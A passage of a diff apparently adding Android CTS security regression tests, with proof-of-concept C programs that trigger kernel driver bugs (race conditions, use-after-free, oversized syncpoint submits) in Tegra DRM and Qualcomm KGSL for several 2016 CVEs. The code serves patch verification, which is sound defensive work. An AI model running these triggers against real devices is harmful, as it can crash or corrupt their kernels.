+	return 0;
+}
+
+int main()
+{
+	int ret;
+	int i;
+
+	dev_fd = open(DEV,O_RDONLY);
+	if(dev_fd == -1){
+		return 0;
+	}
+
+	prepare();
+
+	ret = ioctl(dev_fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c);
+	if(ret == -1){
+		goto out_dev;
+	}
+
+	submit_c.context = open_c.context;
+
+	ret = ioctl(dev_fd, DRM_IOCTL_TEGRA_GEM_CREATE, &gem_create);
+	if(ret == 0){
+		for(i = 0; i < CMD_NUM; i++){
+			cmdbufs[i].words = 0;
+			cmdbufs[i].offset = 0;
+			cmdbufs[i].handle = gem_create.handle;
+			relocs[i].cmdbuf.handle = gem_create.handle;
+			relocs[i].cmdbuf.offset = 8192;
+			relocs[i].target.handle = gem_create.handle;
+			relocs[i].target.offset = 8192;
+		}
+		ioctl(dev_fd, DRM_IOCTL_TEGRA_SUBMIT, &submit_c);
+	}else{
+	}
+
+out_dev:
+	close(dev_fd);
+	return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8432/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8432/Android.mk
new file mode 100644
index 0000000..5e3c137
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8432/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-8432
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wno-unused-parameter
+LOCAL_LDFLAGS += -fPIE -pie
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8432/local_poc.h b/hostsidetests/security/securityPatch/CVE-2016-8432/local_poc.h
new file mode 100644
index 0000000..c74db80
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8432/local_poc.h
@@ -0,0 +1,245 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#ifndef __LOCAL_POC_H__
+#define __LOCAL_POC_H__
+
+#define SIOCIWFIRSTPRIV 0x8BE0
+#define SIOCGIWNAME     0x8B01
+#define IOCTL_SET_STRUCT_FOR_EM         (SIOCIWFIRSTPRIV + 11)
+#define PRIV_CUSTOM_BWCS_CMD            13
+#define PRIV_CMD_OID                    15
+#define PRIV_CMD_SW_CTRL                20
+#define PRIV_CMD_WSC_PROBE_REQ          22
+
+enum host1x_class {
+        HOST1X_CLASS_HOST1X = 0x1,
+        HOST1X_CLASS_NVENC = 0x21,
+        HOST1X_CLASS_VI = 0x30,
+        HOST1X_CLASS_ISPA = 0x32,
+        HOST1X_CLASS_ISPB = 0x34,
+        HOST1X_CLASS_GR2D = 0x51,
+        HOST1X_CLASS_GR2D_SB = 0x52,
+        HOST1X_CLASS_VIC = 0x5D,
+        HOST1X_CLASS_GR3D = 0x60,
+        HOST1X_CLASS_NVJPG = 0xC0,
+        HOST1X_CLASS_NVDEC = 0xF0,
+};
+
+#define DRM_TEGRA_GEM_CREATE		0x00
+#define DRM_COMMAND_BASE                0x40
+#define DRM_COMMAND_END                 0xA0
+
+#define DRM_TEGRA_OPEN_CHANNEL          0x05
+#define DRM_TEGRA_CLOSE_CHANNEL         0x06
+#define DRM_TEGRA_SUBMIT		0x08
+
+struct drm_tegra_open_channel {
+        __u32 client;
+        __u32 pad;
+        __u64 context;
+};
+
+struct drm_tegra_close_channel {
+        __u64 context;
+};
+
+struct drm_tegra_cmdbuf {
+	__u32 handle;
+	__u32 offset;
+	__u32 words;
+	__u32 pad;
+};
+
+struct host1x_waitchk {
+	struct host1x_bo *bo;
+	__u32 offset;
+	__u32 syncpt_id;
+	__u32 thresh;
+};
+
+struct drm_tegra_waitchk {
+	__u32 handle;
+	__u32 offset;
+	__u32 syncpt;
+	__u32 thresh;
+};
+
+struct drm_tegra_submit {
+	__u64 context;
+	__u32 num_syncpts;
+	__u32 num_cmdbufs;
+	__u32 num_relocs;
+	__u32 num_waitchks;
+	__u32 waitchk_mask;
+	__u32 timeout;
+	__u64 syncpts;
+	__u64 cmdbufs;
+	__u64 relocs;
+	__u64 waitchks;
+	__u32 fence;		/* Return value */
+	__u32 reserved0;
+	__u64 fences;
+	__u32 reserved1[2];	/* future expansion */
+};
+
+struct drm_tegra_gem_create {
+	__u64 size;
+	__u32 flags;
+	__u32 handle;
+};
+
+struct drm_gem_close {
+	__u32 handle;
+	__u32 pad;
+};
+
+struct drm_mode_map_dumb {
+	__u32 handle;
+	__u32 pad;
+	__u64 offset;
+};
+
+#define DRM_IOCTL_BASE                  'd'
+#define DRM_IOWR(nr,type)       _IOWR(DRM_IOCTL_BASE,nr,type)
+#define DRM_IOW(nr,type)		_IOW(DRM_IOCTL_BASE,nr,type)
+
+#define DRM_IOCTL_TEGRA_OPEN_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_OPEN_CHANNEL, struct drm_tegra_open_channel)
+#define DRM_IOCTL_TEGRA_CLOSE_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_CLOSE_CHANNEL, struct drm_tegra_open_channel)
+#define DRM_IOCTL_TEGRA_SUBMIT DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_SUBMIT, struct drm_tegra_submit)
+#define DRM_IOCTL_TEGRA_GEM_CREATE DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_GEM_CREATE, struct drm_tegra_gem_create)
+#define DRM_IOCTL_GEM_CLOSE		DRM_IOW (0x09, struct drm_gem_close)
+#define DRM_IOCTL_MODE_MAP_DUMB    DRM_IOWR(0xB3, struct drm_mode_map_dumb)
+
+struct drm_tegra_syncpt {
+	__u32 id;
+	__u32 incrs;
+};
+
+struct list_head {
+	struct list_head *next, *prev;
+};
+
+struct kobject {
+	const char			*name;
+	struct list_head	entry;
+	struct kobject		*parent;
+	void	*kset;
+	void	*ktype;
+	void	*sd;
+	unsigned long refcount;
+	unsigned int state_initialized:1;
+	unsigned int state_in_sysfs:1;
+	unsigned int state_add_uevent_sent:1;
+	unsigned int state_remove_uevent_sent:1;
+	unsigned int uevent_suppress:1;
+};
+
+struct device {
+	struct device	*parent;
+	void	*p;
+	void*	pad0[8];
+	char	*init_name; 
+	void	*type;
+	void*	pad1[5];
+	void	*bus;
+	void	*driver;
+	void	*platform_data;
+	void	*driver_data;
+};
+
+struct host1x_info {
+	int	nb_channels;		
+	int	nb_pts;
+	int	nb_bases;
+	int	nb_mlocks;
+	int	(*init)(void *);
+	int	sync_offset;
+};
+
+struct host1x_syncpt_ops {
+	void (*restore)(void *syncpt);
+	void (*restore_wait_base)(void *syncpt);
+	void (*load_wait_base)(void *syncpt);
+	__u32 (*load)(void *syncpt);
+	int (*cpu_incr)(void *syncpt);
+	int (*patch_wait)(void *syncpt, void *patch_addr);
+};
+
+struct host1x {
+	struct host1x_info *info;
+	void	*regs;
+	void	*syncpt;
+	void	*bases;
+	struct device *dev;
+	void	*clk;
+	void	*clk_actmon;
+	void*	pad[5];
+	void	*intr_wq;
+	int intr_syncpt_irq;
+	int intr_general_irq;
+	__u32 intstatus;
+	void (*host_isr[32])(__u32, void *);
+	void *host_isr_priv[32];
+	struct host1x_syncpt_ops *syncpt_op;
+	void	*intr_op;
+	void	*channel_op;
+	void	*cdma_op;
+	void	*cdma_pb_op;
+	void	*actmon_op;
+	void	*debug_op;
+};
+
+struct host1x_client {
+	struct list_head list;
+	void *parent;
+	struct device *dev;
+	void *ops;
+};
+
+struct tegra_drm_client_ops {
+	void* open_channel;
+	void* close_channel; 
+	void* reset;
+	void* is_add_reg;
+	void* submit;
+};
+
+struct tegra_drm_client {
+	unsigned char pad[232];
+	struct list_head list;
+	struct tegra_drm_client_ops *ops;
+};
+
+struct tegra_drm_context {
+	struct tegra_drm_client *client;
+	void *channel;
+	struct list_head list;
+};
+
+struct drm_tegra_reloc {
+	struct {
+		__u32 handle;
+		__u32 offset;
+	} cmdbuf;
+	struct {
+		__u32 handle;
+		__u32 offset;
+	} target;
+	__u32 shift;
+	__u32 pad;
+};
+
+#endif
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8432/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8432/poc.c
new file mode 100644
index 0000000..52b48f2
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8432/poc.c
@@ -0,0 +1,146 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <stdlib.h>
+#include <pthread.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <sched.h>
+#include <unistd.h>
+#include <sys/types.h>
+#include <sys/ioctl.h>
+
+#include "local_poc.h"
+
+#define LOG(fmt, ...) printf(fmt "\n", ##__VA_ARGS__)
+#define ERR(fmt, ...) printf(fmt " %d %s\n", ##__VA_ARGS__, errno, strerror(errno))
+
+#define DEV "/dev/dri/renderD129"
+#define CMD_NUM		100
+
+int dev_fd;
+
+volatile struct drm_tegra_open_channel	open_c;
+volatile struct drm_tegra_submit		submit_c;
+volatile struct drm_tegra_gem_create	gem_create;
+volatile struct drm_gem_close			gem_close;
+
+volatile struct drm_tegra_cmdbuf		cmdbufs[CMD_NUM];
+struct drm_tegra_syncpt		syncpt;
+volatile struct drm_tegra_reloc		relocs[CMD_NUM];
+
+static int set_affinity(int num)
+{
+	int ret = 0;
+	cpu_set_t mask;
+	CPU_ZERO(&mask);
+	CPU_SET(num, &mask);
+	ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
+	if(ret == -1){
+	}
+	return ret;
+}
+
+static int prepare()
+{
+	int i;
+
+	open_c.client = HOST1X_CLASS_VIC;
+
+	submit_c.num_syncpts = 1;
+	submit_c.syncpts = (__u64)&syncpt;	
+
+	gem_close.handle = 1;
+
+	for(i = 0; i < CMD_NUM; i++){
+		cmdbufs[i].words = 0;
+		cmdbufs[i].offset = 0;
+		cmdbufs[i].handle = 0;
+		relocs[i].cmdbuf.handle = 0;
+		relocs[i].cmdbuf.offset = 0;
+		relocs[i].target.handle = 0;
+		relocs[i].target.offset = 0;
+	}
+
+	submit_c.num_cmdbufs = CMD_NUM;
+	submit_c.cmdbufs = (__u64)cmdbufs;
+	
+	submit_c.num_relocs = CMD_NUM;
+	submit_c.relocs = (__u64)relocs;
+
+	gem_create.size = PAGE_SIZE;
+	
+	return 0;
+}
+
+#define SUBMIT_THREAD_NUM 1
+pthread_t submit_thread_id[SUBMIT_THREAD_NUM] = { 0 };
+static void* submit_thread(void *no_use)
+{
+	set_affinity(1);
+	ioctl(dev_fd, DRM_IOCTL_TEGRA_SUBMIT, &submit_c);
+	return NULL;
+}
+
+int main()
+{
+	int ret;
+	int i;
+	__u64 try_time;
+
+	set_affinity(0);
+
+	dev_fd = open(DEV,O_RDONLY);
+	if(dev_fd == -1){
+		return 0;
+	}
+
+	prepare();
+
+	ret = ioctl(dev_fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c);
+	if(ret == -1){
+		goto out_dev;
+	}
+
+	submit_c.context = open_c.context;
+
+	try_time = 1;
+	while(1){
+		ret = ioctl(dev_fd, DRM_IOCTL_TEGRA_GEM_CREATE, &gem_create);
+		if(ret == 0){
+			for(i = 0; i < CMD_NUM; i++){
+				cmdbufs[i].handle = gem_create.handle;
+				relocs[i].cmdbuf.handle = gem_create.handle;
+				relocs[i].target.handle = gem_create.handle;
+			}
+			for(i = 0; i < SUBMIT_THREAD_NUM; i++){
+				pthread_create(submit_thread_id + i, NULL, submit_thread, NULL);
+			}
+			usleep(150);
+			while(ioctl(dev_fd, DRM_IOCTL_GEM_CLOSE, &gem_close) == 0);
+		}
+		try_time++;
+	}
+
+	for(i = 0; i < SUBMIT_THREAD_NUM; i++){
+		pthread_join(submit_thread_id[i], NULL);
+	}
+
+out_dev:
+	close(dev_fd);
+	return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8434/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8434/Android.mk
new file mode 100644
index 0000000..360cf89
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8434/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-8434
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wno-unused-parameter
+LOCAL_LDFLAGS += -fPIE -pie
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8434/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8434/poc.c
new file mode 100644
index 0000000..de88a3b
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8434/poc.c
@@ -0,0 +1,171 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <stdlib.h>
+#include <unistd.h>
+#include <errno.h>
+#include <stdio.h>
+#include <dirent.h>
+#include <string.h>
+#include <sys/stat.h>
+#include <sys/ioctl.h>
+#include <stdio.h>
+#include <string.h>
+#include <dlfcn.h>
+#include <sys/time.h>
+#include <sys/mman.h>
+#include <sys/syscall.h>
+#include <sys/resource.h>
+#include <fcntl.h>
+#include <pthread.h>  
+#include <unistd.h> 
+#include <sched.h>
+
+#define KGSL_CONTEXT_SAVE_GMEM		0x00000001
+#define KGSL_CONTEXT_NO_GMEM_ALLOC	0x00000002
+/* This is a cmdbatch exclusive flag - use the CMDBATCH equivalent instead */
+#define KGSL_CONTEXT_SUBMIT_IB_LIST	0x00000004
+#define KGSL_CONTEXT_CTX_SWITCH		0x00000008
+#define KGSL_CONTEXT_PREAMBLE		0x00000010
+#define KGSL_CONTEXT_TRASH_STATE	0x00000020
+#define KGSL_CONTEXT_PER_CONTEXT_TS	0x00000040
+#define KGSL_CONTEXT_USER_GENERATED_TS	0x00000080
+/* This is a cmdbatch exclusive flag - use the CMDBATCH equivalent instead */
+#define KGSL_CONTEXT_END_OF_FRAME	0x00000100
+#define KGSL_CONTEXT_NO_FAULT_TOLERANCE 0x00000200
+/* This is a cmdbatch exclusive flag - use the CMDBATCH equivalent instead */
+#define KGSL_CONTEXT_SYNC               0x00000400
+#define KGSL_CONTEXT_PWR_CONSTRAINT     0x00000800
+
+#define KGSL_IOC_TYPE 0x09
+struct kgsl_drawctxt_create {
+	unsigned int flags;
+	unsigned int drawctxt_id; /*output param */
+};
+
+#define IOCTL_KGSL_DRAWCTXT_CREATE \
+	_IOWR(KGSL_IOC_TYPE, 0x13, struct kgsl_drawctxt_create)
+
+/* destroy a draw context */
+struct kgsl_drawctxt_destroy {
+	unsigned int drawctxt_id;
+};
+
+#define IOCTL_KGSL_DRAWCTXT_DESTROY \
+	_IOW(KGSL_IOC_TYPE, 0x14, struct kgsl_drawctxt_destroy)
+
+struct kgsl_timestamp_event {
+	int type;                /* Type of event (see list below) */
+	unsigned int timestamp;  /* Timestamp to trigger event on */
+	unsigned int context_id; /* Context for the timestamp */
+	void __user *priv;	 /* Pointer to the event specific blob */
+	size_t len;              /* Size of the event specific blob */
+};
+#define IOCTL_KGSL_TIMESTAMP_EVENT \
+	_IOWR(KGSL_IOC_TYPE, 0x33, struct kgsl_timestamp_event)
+int g_fd = -1;
+int g_ctx_id = -1;
+int g_sync_fence_fd = -1;
+struct kgsl_timestamp_event g_event;
+static pthread_cond_t cond = PTHREAD_COND_INITIALIZER;
+static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
+
+void trigger_kgsl_create_drawctx() {
+    struct kgsl_drawctxt_create ctx;
+    ctx.flags = KGSL_CONTEXT_PREAMBLE | KGSL_CONTEXT_NO_GMEM_ALLOC;
+    ioctl(g_fd, IOCTL_KGSL_DRAWCTXT_CREATE, &ctx);
+    printf("[*] IOCTL_KGSL_DRAWCTXT_CREATE id(%d), errno = %d\n", ctx.drawctxt_id, errno);
+    g_ctx_id = ctx.drawctxt_id;
+}
+
+void trigger_kgsl_free_drawctx(int id) {
+    struct kgsl_drawctxt_destroy ctx;
+    ctx.drawctxt_id = id;
+    ioctl(g_fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &ctx);
+    //printf("[*] IOCTL_KGSL_DRAWCTXT_DESTROY, errno = %d\n", errno);
+}
+
+void trigger_kgsl_timestamp_event() {
+    
+    
+    //mprotect(event.priv, 0x1000, PROT_READ);
+    
+    ioctl(g_fd, IOCTL_KGSL_TIMESTAMP_EVENT, &g_event);
+    printf("[*] IOCTL_KGSL_TIMESTAMP_EVENT fd(%d), errno = %d\n", *(int*)g_event.priv, errno);
+}
+
+int open_driver() {
+    char* dev_path = "/dev/kgsl-3d0";
+    g_fd = open(dev_path, O_RDWR);
+    if (g_fd < 0) {
+        printf("[*] open file(%s) failed, errno=%d\n", dev_path, errno);
+    } else {
+        printf("[*] open file(%s) succ!\n", dev_path);
+    }
+    return g_fd;
+}
+
+
+void setup_privi_and_affinity(int privi, unsigned long cpu_mask) {
+    setpriority(PRIO_PROCESS, gettid(), privi);
+    printf("[*] setpriority(%d) errno = %d\n", privi, errno);
+
+    /* bind process to a CPU*/
+    if (sched_setaffinity(gettid(), sizeof(cpu_mask), &cpu_mask) < 0) {
+        printf("[*] sched_setaffinity(%ld) errno = %d\n", cpu_mask, errno);
+    }
+}
+
+
+void* race_thread(void* arg) {
+    setup_privi_and_affinity(-19, 2);
+    pthread_mutex_lock(&mutex);
+    pthread_cond_wait(&cond, &mutex);
+    pthread_mutex_unlock(&mutex);
+    while (1) {
+        close(4);
+    }
+    return NULL;
+}
+
+int main(int argc, char**argv) {
+    setup_privi_and_affinity(-19, 1);
+    
+    if (open_driver() < 0) {
+        return -1;
+    }
+    trigger_kgsl_create_drawctx();
+    
+    g_event.type = 2;
+    g_event.context_id = g_ctx_id;
+    g_event.len = 4;
+    g_event.priv = malloc(0x1000);
+    g_event.timestamp = 0;
+    mprotect(g_event.priv, 0x1000, PROT_READ);
+    //printf("[*] close fd errno = %d\n", errno);
+
+    pthread_t tid;
+    pthread_create(&tid, NULL, race_thread, NULL);
+    usleep(100 * 1000);
+    
+    pthread_cond_signal(&cond);
+    usleep(20);
+    while (1) {
+        trigger_kgsl_timestamp_event();
+    }
+
+    return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8435/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8435/Android.mk
new file mode 100644
index 0000000..45378d1
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8435/Android.mk
@@ -0,0 +1,30 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-8435
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_LDFLAGS += -fPIE -pie
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8435/local_pwn.h b/hostsidetests/security/securityPatch/CVE-2016-8435/local_pwn.h
new file mode 100644
index 0000000..70574fe
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8435/local_pwn.h
@@ -0,0 +1,116 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#ifndef __local_pwn_H__
+#define __local_pwn_H__
+
+#define SIOCIWFIRSTPRIV 0x8BE0
+#define SIOCGIWNAME     0x8B01
+#define IOCTL_SET_STRUCT_FOR_EM         (SIOCIWFIRSTPRIV + 11)
+#define PRIV_CUSTOM_BWCS_CMD            13
+#define PRIV_CMD_OID                    15
+#define PRIV_CMD_SW_CTRL                20
+#define PRIV_CMD_WSC_PROBE_REQ          22
+
+enum host1x_class {
+        HOST1X_CLASS_HOST1X = 0x1,
+        HOST1X_CLASS_NVENC = 0x21,
+        HOST1X_CLASS_VI = 0x30,
+        HOST1X_CLASS_ISPA = 0x32,
+        HOST1X_CLASS_ISPB = 0x34,
+        HOST1X_CLASS_GR2D = 0x51,
+        HOST1X_CLASS_GR2D_SB = 0x52,
+        HOST1X_CLASS_VIC = 0x5D,
+        HOST1X_CLASS_GR3D = 0x60,
+        HOST1X_CLASS_NVJPG = 0xC0,
+        HOST1X_CLASS_NVDEC = 0xF0,
+};
+
+#define DRM_COMMAND_BASE                0x40
+#define DRM_COMMAND_END                 0xA0
+
+#define DRM_TEGRA_OPEN_CHANNEL          0x05
+#define DRM_TEGRA_CLOSE_CHANNEL         0x06
+#define DRM_TEGRA_SUBMIT		0x08
+
+struct drm_tegra_open_channel {
+        __u32 client;
+        __u32 pad;
+        __u64 context;
+};
+
+struct drm_tegra_close_channel {
+        __u64 context;
+};
+
+struct drm_tegra_submit {
+	__u64 context;
+	__u32 num_syncpts;
+	__u32 num_cmdbufs;
+	__u32 num_relocs;
+	__u32 num_waitchks;
+	__u32 waitchk_mask;
+	__u32 timeout;
+	__u64 syncpts;
+	__u64 cmdbufs;
+	__u64 relocs;
+	__u64 waitchks;
+	__u32 fence;		/* Return value */
+	__u32 reserved0;
+	__u64 fences;
+	__u32 reserved1[2];	/* future expansion */
+};
+
+#define DRM_IOCTL_BASE                  'd'
+#define DRM_IOWR(nr,type)               _IOWR(DRM_IOCTL_BASE,nr,type)
+#define DRM_IOCTL_TEGRA_OPEN_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_OPEN_CHANNEL, struct drm_tegra_open_channel)
+#define DRM_IOCTL_TEGRA_CLOSE_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_CLOSE_CHANNEL, struct drm_tegra_open_channel)
+#define DRM_IOCTL_TEGRA_SUBMIT DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_SUBMIT, struct drm_tegra_submit)
+
+struct drm_tegra_syncpt {
+	__u32 id;
+	__u32 incrs;
+};
+
+struct list_head {
+	struct list_head *next, *prev;
+};
+
+struct tegra_drm_client_ops {
+	void* open_channel;
+	void* close_channel; 
+	void* reset;
+	void* is_add_reg;
+	void* submit;
+};
+
+struct tegra_drm_client {
+	/* sizeof(host1x_client) is 232 */
+	unsigned char pad[232];	/* maybe gadget arguments */
+	struct list_head list;
+	struct tegra_drm_client_ops *ops;
+};
+
+struct tegra_drm_context {
+	struct tegra_drm_client *client;
+	void *channel;
+	struct list_head list;
+	/* FIXME we need pass lock op */
+	//struct mutex lock;
+	//bool keepon;
+	//struct host1x_user user;
+};
+
+#endif
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8435/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8435/poc.c
new file mode 100644
index 0000000..ff6acb0
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8435/poc.c
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <string.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/ioctl.h>
+#include <errno.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <sys/types.h>
+#include <unistd.h>
+#include <sys/syscall.h>
+
+#include "local_pwn.h"
+
+#define DEV "/dev/dri/renderD129"
+#define SYN_NUM 64
+
+struct drm_tegra_open_channel open_c = { 0 };
+struct drm_tegra_submit submit_c = { 0 };
+struct drm_tegra_syncpt syncpts[SYN_NUM] = { 0 };
+
+int main()
+{
+	int ret;
+	int dev_fd;
+	int i;
+
+	/* open dev */
+	dev_fd = open(DEV,O_RDONLY);
+	if(dev_fd == -1){
+		printf("[-] open dev failed %d %s\n", errno, strerror(errno));
+		return 0;
+	}
+	
+	/* prepare for ioctl */
+	open_c.client = HOST1X_CLASS_VIC;
+	submit_c.num_syncpts = SYN_NUM;
+	submit_c.syncpts = (__u64)syncpts;
+
+	for(i = 1; i < SYN_NUM; i++){
+		syncpts[i].id = 192;
+		syncpts[i].incrs = 0xffff;
+	}
+
+	/* open channel */
+	ret = ioctl(dev_fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c);
+	if(ret == -1){
+		printf("[-] open_channel failed %d %s\n", errno, strerror(errno));
+		goto out_dev;
+	}
+	submit_c.context = open_c.context;
+	printf("[+] call submit\n");
+	ret = ioctl(dev_fd, DRM_IOCTL_TEGRA_SUBMIT, &submit_c);
+	printf("[+] submit return %d\n", ret);
+	
+out_dev:
+	close(dev_fd);
+	return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8444/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8444/Android.mk
new file mode 100644
index 0000000..f6833c6
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8444/Android.mk
@@ -0,0 +1,30 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-8444
